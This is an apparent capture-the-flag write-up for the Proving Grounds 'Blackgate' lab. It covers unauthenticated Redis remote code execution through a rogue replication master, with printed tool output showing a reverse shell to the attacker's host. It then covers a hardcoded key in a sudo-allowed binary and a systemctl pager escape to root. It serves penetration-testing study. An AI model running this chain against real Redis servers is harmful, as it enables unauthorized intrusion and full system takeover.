Blackgate Writeup - Proving Grounds
Last updated July 14, 2026 • 3 min read
Discovery
Port Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 6379/tcp open redis Redis key-value store 4.0.14
Two ports: SSH and Redis. Redis 4.0.14 is exposed without any authentication configured — confirmed immediately.
Redis Enumeration
Version: 4.0.14 Operating System: Linux 5.8.0-63-generic x86_64 Role: master Bind addresses: 0.0.0.0
Redis is bound to all interfaces with no password and protected mode disabled. Full unauthenticated access:
PONG
Check authentication and access controls:
requirepass: (empty) protected-mode: no dir: /tmp
No keys in the keystore — this is a fresh instance, not a data exfiltration target. The attack surface is RCE via Redis module loading, which requires loading a compiled shared object from a rogue Redis server acting as a master.
Initial Access
Redis Rogue Server — Unauthenticated RCE
Redis 4.x/5.x allows replication from an external master. An attacker-controlled rogue Redis server can push a malicious .so module to the target instance, which then loads it via the MODULE LOAD command — resulting in arbitrary OS command execution.
The exploit is redis-rogue-server from github.com/n0b0dyCN/redis-rogue-server. It handles the full replication handshake and module delivery automatically.
Start a listener, then run the rogue server:
[info] TARGET 192.168.237.176:6379 [info] SERVER 192.168.45.192:21000 [info] Setting master... [info] Setting dbfilename... [info] Loading module... What do u want, [i]nteractive shell or [r]everse shell: r Reverse server address: 192.168.45.192 Reverse server port: 1111 [info] Reverse shell payload sent. [+] Reverse shell connected from 192.168.237.176:36696
Shell as prudence. Grab local.txt from /home/prudence/.
Privilege Escalation
Hardcoded Password in SUID Binary — sudo redis-status
Check sudo permissions:
User prudence may run the following commands on blackgate:
(root) NOPASSWD: /usr/local/bin/redis-status
The binary is SUID and runs as root. Inspect it with strings:
[*] Redis Uptime Authorization Key: ClimbingParrotKickingDonkey321 /usr/bin/systemctl status redis Wrong Authorization Key! Incident has been reported!
The authorization key is embedded in plain text. The binary prompts for it, then calls systemctl status redis. Upgrade the shell first to get a proper TTY, then run it:
[*] Redis Uptime Authorization Key: $REDIS_STATUS_PASSWORD
systemctl status opens its output in a pager (less). From inside less, escape to a shell:
root@blackgate:~#
Root shell. Grab proof.txt from /root/.
Related
References
-
Redis security model, protected mode, bind address
-
Redis rogue server RCE exploit
-
gtfobins.github.iogtfobins.github.io/gtfobins/systemctl (opens in new tab)
systemctl pager escape to shell